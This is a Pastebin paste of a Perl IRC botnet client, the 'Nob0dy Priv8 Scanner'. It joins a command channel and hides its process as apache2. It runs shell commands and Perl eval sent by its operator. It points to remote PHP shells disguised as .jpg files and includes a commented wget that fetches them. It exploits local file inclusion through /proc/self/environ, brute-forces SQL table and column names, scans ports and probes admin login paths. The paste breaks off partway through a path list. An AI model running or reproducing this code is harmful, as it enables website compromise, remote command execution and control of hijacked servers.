Vipera1

Bot

Mar 21st, 2017
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. ################################################
  3. use HTTP::Request;                             #
  4. use HTTP::Request::Common;                     #
  5. use HTTP::Request::Common qw(POST);            #
  6. use LWP::Simple;                               #
  7. use LWP 5.53;                                  #
  8. use LWP::UserAgent;                            #
  9. use Socket;                                    #
  10. use IO::Socket;                                #
  11. use IO::Socket::INET;                          #
  12. use IO::Select;                                #
  13. use MIME::Base64;                               #
  14. ################################################
  15.  
  16. my $datetime = localtime;
  17.  
  18. my $fakeproc          = "/usr/sbin/apache2 -k start";
  19. my $ircserver   = "irc.malangunderground.org";
  20. my $ircport           = "6667";
  21. my $nickname          = "king".int(rand(10))."";
  22. my $ident             = "king";
  23. my $channel           = "#mafia";
  24. my $admin            = "presiden";
  25. my $fullname          = "Mafia Scanner";
  26.  
  27. my $nob0dy    = "15,1(4@9nob0dy15)";
  28. my $lfilogo   = "15,1(4@9LFI15)";
  29. my $rfilogo   = "15,1(4@9RFI15)";
  30. my $e107logo  = "15,1(4@9e10715)";
  31. my $xmllogo   = "15,1(4@9XML15)";
  32. my $sqllogo   = "15,1(4@9SQL15)";
  33. my $oscologo  = "15,1(4@9OSCO15)";
  34. my $zenlogo   = "15,1(4@9ZEN15)";
  35. my $oplogo    = "15,1(4@9OpenCart15)";
  36. my $admlogo   = "15,1(4@9PhpMyAdmin15)";
  37. my $smslogo   = "15,1(4@9SMS15)";
  38.  
  39. my $lficmd    = '!lfi';
  40. my $rficmd    = '!rfi';
  41. my $e107cmd   = '!e107';
  42. my $xmlcmd    = '!xml';
  43. my $sqlcmd    = '!sql';
  44. my $oscocmd   = '!osco';
  45. my $zencmd    = '!zen';
  46. my $admcmd    = '!adm';
  47. my $opcmd     = '!op';
  48.  
  49. my $cmdlfi    = '!cmdlfi';
  50. my $cmde107   = '!cmde107';
  51. my $cmdxml    = '!cmdxml';
  52.  
  53. my $injector  = "http://elproveedorpanama.com/catalog/images/ipays.jpg";
  54. my $botshell  = "http://elproveedorpanama.com/catalog/images/byroe.jpg";
  55. my $botshell2  = "http://elproveedorpanama.com/catalog/images/allnet.jpg";
  56.  
  57. my @uagents   = ("Microsoft Internet Explorer/4.0b1 (Windows 95)","Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)","Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)","Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)","Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)","Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)","Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)","Mozilla/4.0 (compatible; MSIE 7.0b; Win32)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Microsoft Pocket Internet Explorer/0.6","Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)","MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)","Advanced Browser (http://www.avantbrowser.com)","Avant Browser (http://www.avantbrowser.com)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)","Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)","Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)","Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511","Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox","Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b","Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0","Mozilla/3.0 (OS/2; U)","Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)","Mozilla/4.61 (Macintosh; I; PPC)","Mozilla/4.61 [en] (OS/2; U)","Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)","Mozilla/4.8 [en] (Windows NT 5.0; U)");
  58. my $uagent    = $uagents[rand(scalar(@uagents))];
  59. my $lfdtest   = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00";
  60. my $open_test = "/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html";
  61. my $adm_output = ("uid=");
  62. my $open_output = ("FCKeditor - Connectors Tests");
  63.  
  64. my @tabele                = ('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
  65.                                         'name','names','nombre','nombres','usuarios','member','members','admin_table','miembro','miembros','membername','admins','administrator',
  66.                                         'administrators','passwd','password','passwords','pass','Pass','tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
  67.                                         'member_password','mods','mod','moderators','moderator','user_email','user_emails','user_mail','user_mails','mail','emails','email','address',
  68.                                         'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  69.                                         'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  70.                                         'sistema_usuario','sistema_password','contrasena','auth','key','senha','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
  71.                                         'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
  72.                                         'associated','accnt','customers','customer','membres','administrateur','utilisateur','tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
  73.                                         'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
  74. my @kolumny                = ('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
  75.                                         'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
  76.                                         'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
  77.                                         'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
  78.                                         'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
  79.                                         'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
  80.  
  81.  
  82.  
  83. $SIG{'INT'}   = 'IGNORE';
  84. $SIG{'HUP'}   = 'IGNORE';
  85. $SIG{'TERM'}  = 'IGNORE';
  86. $SIG{'CHLD'}  = 'IGNORE';
  87. $SIG{'PS'}    = 'IGNORE';
  88. #chdir("/tmp");
  89. #chop (my $priper = `wget http://elproveedorpanama.com/catalog/images/ipays.jpg -O ipays.jpg;http://elproveedorpanama.com/catalog/images/byroe.jpg -O byroe.jpg;http://elproveedorpanama.com/catalog/images/allnet.jpg -O allnet.jpg`);
  90. $ircserver = "$ARGV[0]" if $ARGV[0];
  91.  
  92. $0 = "$fakeproc"."\0" x 16;;
  93. my $pid = fork;
  94. exit if $pid;
  95. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  96.  
  97. our %irc_servers;
  98. our %DCC;
  99. my $dcc_sel = new IO::Select->new();
  100. $sel_client = IO::Select->new();
  101. sub sendraw {
  102.     if ($#_ == '1') {
  103.     my $socket = $_[0];
  104.     print $socket "$_[1]\n";
  105.     } else {
  106.         print $IRC_cur_socket "$_[0]\n";
  107.     }
  108. }
  109.  
  110. sub connector {
  111.     my $mynick = $_[0];
  112.     my $ircserver_con = $_[1];
  113.     my $ircport_con = $_[2];
  114.     my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  115.     if (defined($IRC_socket)) {
  116.         $IRC_cur_socket = $IRC_socket;
  117.         $IRC_socket->autoflush(1);
  118.         $sel_client->add($IRC_socket);
  119.                 $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  120.         $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  121.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  122.         $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  123.         nick("$mynick");
  124.         my $versi   = "9,1[!] 1,15 Copy Paste 9,1 [!]";
  125.         sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
  126.         sleep (1);}}
  127. sub parse {
  128.     my $servarg = shift;
  129.     if ($servarg =~ /^PING \:(.*)/) {
  130.         sendraw("PONG :$1");
  131.     }
  132.     elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  133.         if (lc($1) eq lc($mynick)) {
  134.             $mynick = $4;
  135.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  136.         }
  137.     }
  138.     elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  139.         nick("$mynick".int rand(1));
  140.     }
  141.     elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  142.         $mynick = $2;
  143.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  144.         $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  145.         sendraw("MODE $mynick +Bx");
  146.         sendraw("JOIN $channel");
  147.         sleep(2);
  148.         sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  149.     }
  150. }
  151. my $line_temp;
  152. while( 1 ) {
  153.     while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
  154.     select(undef, undef, undef, 0.01);;
  155.     delete($irc_servers{''}) if (defined($irc_servers{''}));
  156.     my @ready = $sel_client->can_read(0);
  157.     next unless(@ready);
  158.     foreach $fh (@ready) {
  159.         $IRC_cur_socket = $fh;
  160.         $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  161.         $nread = sysread($fh, $ircmsg, 4096);
  162.         if ($nread == 0) {
  163.             $sel_client->remove($fh);
  164.             $fh->close;
  165.             delete($irc_servers{$fh});
  166.         }
  167.         @lines = split (/\n/, $ircmsg);
  168.         $ircmsg =~ s/\r\n$//;
  169.  
  170.         if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  171.             my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  172.                         my $engine ="GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio,WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo,BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR";
  173.             if ($path eq $mynick) {
  174.                 if ($msg =~ /^PING (.*)/) {
  175.                     sendraw("NOTICE $nick :PING $1");
  176.                 }
  177.                 if ($msg =~ /^VERSION/) {
  178.                     sendraw("NOTICE $nick :VERSION mIRC v6.17 Khaled Mardam-Bey");
  179.                 }
  180.                 if ($msg =~ /^TIME/) {
  181.                     sendraw("NOTICE $nick :TIME ".$datetime."");
  182.                 }
  183.                 if (&isAdmin($nick) && $msg eq "!die") {
  184.                     &shell("$path","kill -9 $$");
  185.                 }
  186.                 if (&isAdmin($nick) && $msg eq "!killall") {
  187.                     &shell("$path","killall -9 perl");
  188.                 }
  189.                 if (&isAdmin($nick) && $msg eq "!reset") {
  190.                     sendraw("QUIT :Restarting...");
  191.                 }
  192.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  193.                     sendraw("JOIN #".$1);
  194.                 }
  195.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  196.                     sendraw("PART #".$1);
  197.                 }
  198.                 if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  199.                     sendraw("NICK ".$1);
  200.                 }
  201.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  202.                     sendraw($IRC_cur_socket, "PRIVMSG $nick :9,1Fake Process/PID : $fakeproc - $$");
  203.                 }
  204.                 if (&isAdmin($nick) && $msg !~ /^!/) {
  205.                     &shell("$nick","$msg");
  206.                 }
  207.                                  if (&isAdmin($nick) && $msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
  208.                                         my $url = $1.$lfdtest;
  209.                                         my $cmd = $2;
  210.                                         &cmdlfi($url,$cmd,$nick);
  211.                                 }
  212.                                 if (&isAdmin($nick) && $msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
  213.                                         my $url = $1;
  214.                                         my $cmd = $2;
  215.                                         &cmdxml($url,$cmd,$nick);
  216.                                 }
  217.                                 if (&isAdmin($nick) && $msg=~ /^$cmde107\s+(.*?)\s+(.*)/){
  218.                                         my $url = $1;
  219.                                         my $cmd = $2;
  220.                                         &cmde107($url,$cmd,$nick);
  221.                                 }
  222.            }
  223.             else {
  224.                 if (&isAdmin($nick) && $msg eq "!die") {
  225.                     &shell("$path","kill -9 $$");
  226.                 }
  227.                 if (&isAdmin($nick) && $msg eq "!killall") {
  228.                     &shell("$path","killall -9 perl");
  229.                 }
  230.                 if (&isAdmin($nick) && $msg eq "!reset") {
  231.                     sendraw("QUIT :Restarting...");
  232.                 }
  233.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  234.                     sendraw("JOIN #".$1);
  235.                 }
  236.                 if (&isAdmin($nick) && $msg eq "!part") {
  237.                     sendraw("PART $path");
  238.                 }
  239.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  240.                     sendraw("PART #".$1);
  241.                 }
  242.                 if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  243.                     &shell("$path","$1");
  244.                 }
  245.                 if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  246.                     &shell("$path","$1");
  247.                 }
  248.                                 if (&isAdmin($nick) && $msg =~ /^!eval (.*)/) {
  249.                                 eval "$1";
  250.                                 }
  251.                                 ##################################################################### HIT
  252.  
  253.                                 if ($msg=~ /^$cmdlfi\s+(.+?)\s+(.*)/){
  254.                                         my $url = $1.$lfdtest;
  255.                                         my $cmd = $2;
  256.                                         &cmdlfi($url,$cmd,$path);
  257.                                 }
  258.                                 if ($msg=~ /^$cmdxml\s+(.+?)\s+(.*)/){
  259.                                         my $url = $1;
  260.                                         my $cmd = $2;
  261.                                         &cmdxml($url,$cmd,$path);
  262.                                 }
  263.                                 if ($msg=~ /^$cmde107\s+(.+?)\s+(.*)/){
  264.                                         my $url = $1;
  265.                                         my $cmd = $2;
  266.                                         &cmde107($url,$cmd,$path);
  267.                                 }
  268.  
  269.                                 ##################################################################### SMS
  270.                                 if ($msg=~ /^!sms\s+(.*?)\s+(.*)/){
  271.                                         my $no    = $1;
  272.                                         my $pesan = $2;
  273.                                         if(sendSMS($no,$pesan)){
  274.                                                 &msg("$path","$smslogo 9,1Sukses mengirim ke 4 ".$no."9 Pengirim : 4 ".$nick);
  275.                                         }
  276.                                         else {
  277.                                                 &msg("$path","$smslogo 4,1 GAGAL!!");
  278.                                         }
  279.                                 }
  280.  
  281.                 ##################################################################### HELP COMMAND
  282.  
  283.                 if ($msg=~ /^!help/) {
  284.                     my $helplogo = "15,1(4@9Help15)";
  285.                     &msg("$path","$helplogo 14 #####################9[HELP]14##############################");
  286.                     &msg("$path","$helplogo 7 ( $rficmd|$lficmd|$sqlcmd|$xmlcmd [bug][dork]|!portscan[ip][port]) )");
  287.                     &msg("$path","$helplogo 7 ( $cmde107|$cmdlfi|$cmdxml) [target][cmd]|!sms[no][pesan] )");
  288.                     &msg("$path","$helplogo 7 ( $e107cmd | $zencmd | $oscocmd | $admcmd | $opcmd [dork] ) ");sleep(2);
  289.                     &msg("$path","$helplogo 7 ( !login [web]|!port [ip][port]|!base64 [data]|!ip [ip]|!dns [host] )");
  290.                     &msg("$path","$helplogo 7 ( !about|!engine|!version|!proxy [3digit]|!paypal [email] )");
  291.                     &msg("$path","$helplogo 14 ######################9[END HELP]14#########################");
  292.                 }
  293.                 if ($msg=~ /^!engine/) {
  294.                     my $enginelogo = "15,1(4@9EnginE15)";
  295.                     &msg("$path","$enginelogo 4 GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio");
  296.                     &msg("$path","$enginelogo 4 WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo");
  297.                     &msg("$path","$enginelogo 4 BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR");
  298.                 }
  299.                 if ($msg=~ /^!about/) {
  300.                     my $aboutlogo = "15,1(4@9About Bot15)";
  301.                     &msg("$path","$aboutlogo 9Nob0dy Priv8 Scanner SE v1.2");
  302.                     &msg("$path","$aboutlogo 13CoDeD by Vrs-hCk @ByroeNet");
  303.                     &msg("$path","$aboutlogo 7Modified by MbaHMeTz @ByroeNet");
  304.                 }
  305.                 if ($msg=~ /^!version/) {
  306.                     my $versionlogo = "15,1(4@9Version15)";
  307.                     &msg("$path","$versionlogo 13 priv8 SE v1.2");
  308.                 }
  309.                 if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
  310.                     if (&isFound($injector,"aXBheXMg=")) {
  311.                         &msg("$path","15,1(4@9Injector15)13 PHP Shell 9READY!!!");
  312.                     } else {
  313.                         &msg("$path","15,1(4@9Injector15)13 PHP Shell 4LOST!!!");
  314.                     }
  315.                 }
  316.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  317.                     &notice("$nick","9,1Fake Process/PID : 8$fakeproc - $$");
  318.                 }
  319.                                 ##################################################################### TOOLS
  320.                                 if ($msg=~ /^!proxy\s+(.+)/){
  321.                                         if (my $pid = fork) { waitpid($pid, 0); } else {
  322.                                                 if (fork) { exit; } else {
  323.                                                 my $minta = $1;
  324.                     &msg("$path","15,1(4@9PROXY15)13 Checking Proxy..");
  325.                                         &proxy($path,$minta);
  326.                                                 }
  327.                                                 exit;
  328.                                         }
  329.                                 }
  330.  
  331.                                 if ($msg=~ /^!dns\s+(.*)/){
  332.                                        my $nsku = $1;
  333.                                        $mydns = inet_ntoa(inet_aton($nsku));
  334.                                        &msg("$path", "15,1(4@9DNS15) 13$nsku 9Resolve Ke 4 $mydns");
  335.                                 }
  336.  
  337.                                 if ($msg=~ /^!port\s+(.*?)\s+(.*)/ ) {
  338.                                         my $hostip= "$1";
  339.                                         my $portsc= "$2";
  340.                                         my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
  341.                                         if ($scansock) {
  342.                     &msg("$path","15,1(4@9PORT15)13 $hostip : $portsc 9Accepted");
  343.                                         }
  344.                                         else {
  345.                     &msg("$path","15,1(4@9PORT15)13 $hostip : $portsc 4Connection Refused");
  346.                                         }
  347.                                 }
  348.  
  349.                                 if ($msg=~ /^!ip\s+(.*)/ ) {
  350.                                         if (my $pid = fork) { waitpid($pid, 0); } else {
  351.                                                 if (fork) { exit; } else {
  352.                                                         my $ip = $1;
  353.                                                         &msg("$path","15,1(4@9IP15)13 Searching ".$ip." 9Location ...");
  354.                                                         my $website = "http://www.ipligence.com/geolocation";
  355.                                                         my ($useragent,$request,$response,%form);
  356.                                                         undef %form;
  357.                                                         $form{ip}  = $ip;
  358.                                                         $useragent = LWP::UserAgent->new;
  359.                                                         $useragent->timeout(5);
  360.                                                         $request   = POST $website,\%form;
  361.                                                         $response  = $useragent->request($request);
  362.                                                         if ($response->is_success) {
  363.                                                         my $res = $response->content;
  364.                                                                 if ($res =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g) {
  365.                                                                 my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
  366.                                                                 &msg("$path","15,1(4@9IP15)13 IP Address : ".$ip." 9 ( ".$ipaddress." )");
  367.                                                                 &msg("$path","15,1(4@9IP15)13 City       : ".$ip." 9 ( ".$city." )");
  368.                                                                 &msg("$path","15,1(4@9IP15)13 Country    : ".$ip." 9 ( ".$country." )");
  369.                                                                 &msg("$path","15,1(4@9IP15)13 Continent  : ".$ip." 9 ( ".$continent." )");
  370.                                                                 }
  371.                                                                 else {
  372.                                                                 &msg("$path","15,1(4@9IP15)13 ".$ip." 4not found in database");
  373.                                                                 }
  374.                                                         }
  375.                                                         else {
  376.                                                         &msg("$path","15,1(4@9IP15)4 Cannot open IP database.");
  377.                                                         }
  378.                                                 }
  379.                                                 exit;
  380.                                         }
  381.                                 }
  382.  
  383.                                 if ($msg=~ /^!base64 (.*)$/ ) {
  384.                                         if (my $pid = fork) { waitpid($pid, 0); } else {
  385.                                                 if (fork) { exit; } else {
  386.                                                 my $hash      = $1;
  387.                                                 my $base64_encoded = encode_base64($hash);
  388.                                                 my $base64_decoded = decode_base64($hash);
  389.                                                 &msg("$path","15,1(4@9BASE6415)13 Decode : 9$base64_decoded");
  390.                                                 &msg("$path","15,1(4@9BASE6415)13 Encode : 9$base64_encoded");
  391.                                                 }
  392.                                                 exit;
  393.                                         }
  394.                                 }
  395.  
  396.                                if ($msg =~ /^!portscan (.*)$/ ) {
  397.                                    my $hostip="$1";
  398.                                    my @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  399.                                    my (@aberta, %porta_banner);
  400.                                    &msg("$path","15,1(4@9PORTSCAN15) 13Loading port scanner.");
  401.                                    foreach my $porta (@portas)  {
  402.                                    my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  403.                                    if ($scansock) {
  404.                                    push (@aberta, $porta);
  405.                                    $scansock->close;
  406.                                    }
  407.                                  }
  408.  
  409.                                    if (@aberta) {
  410.                                    &msg("$path", "15,1(4@9portscan15)13 open ports are...:5 @aberta");
  411.                                    } else {
  412.                                    &msg("$path","15,1(4@9portscan15)4 all ports are closed");
  413.                                    }
  414.                                  }
  415.  
  416.                                 if ($msg=~ /^!login (.*)$/ ) {
  417.                                         if (my $pid = fork) { waitpid($pid, 0); } else {
  418.                                                 if (fork) { exit; } else {
  419.                                                 my $test = $1 ;
  420.                                                 @index = ('/admin/','/ADMIN/','/login/','/adm/','/cms/','/administrator/','/admin/login.php','/ADMIN/login.php','/admin/home.php','/admin/controlpanel.html','/admin/controlpanel.php','/admin.php','/admin.html','/admin/cp.php','/admin/cp.html','/cp.php','/cp.html','/controlpanel/','/panelc/','/administrator/index.php','/administrator/login.html','/administrator/login.php','/administrator/account.html','/administrator/account.php','/administrator.php','/administrator.html','/login.php','/login.html','/controlpanel/','/administration/','/administration.php','/administration.html','/phpmyadmin/','/myadmin/','/wp-admin/','/webadmin/','/webadmin.php','/webadmin.html','/admins/','/admins.php','/admins.html','/WebAdmin/','/admin1/','/panel/','/cpanel/','/cPanel/','/members/','/wp-login/','/admin/','/ADMIN/','/login/','/adm/','/cms/','/administrator/','/admin/login.php','/ADMIN/login.php','/admin/home.php','/admin/controlpanel.html','/admin/controlpanel.php','/admin.php','/admin.html','/admin/cp.php','/admin/cp.html','/cp.php','/cp.html','/controlpanel/','/panelc/','/administrator/index.php','/administrator/login.html','/administrator/login.php','/administrator/account.html','/administrator/account.php','/administrator.php','/administrator.html','/login.php','/login.html','/controlpanel/','/administration/','/administration.php','/administration.html','/phpmyadmin/','/myadmin/','/wp-admin/','/webadmin/','/webadmin.php','/webadmin.html','/admins/','/admins.php','/admins.html','/WebAdmin/','/admin1/','/panel/','/cpanel/','/cPanel/','/members/','/wp-login/','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php','admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
  421. 'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php',
  422. 'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
  423. 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html',
  424. 'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',
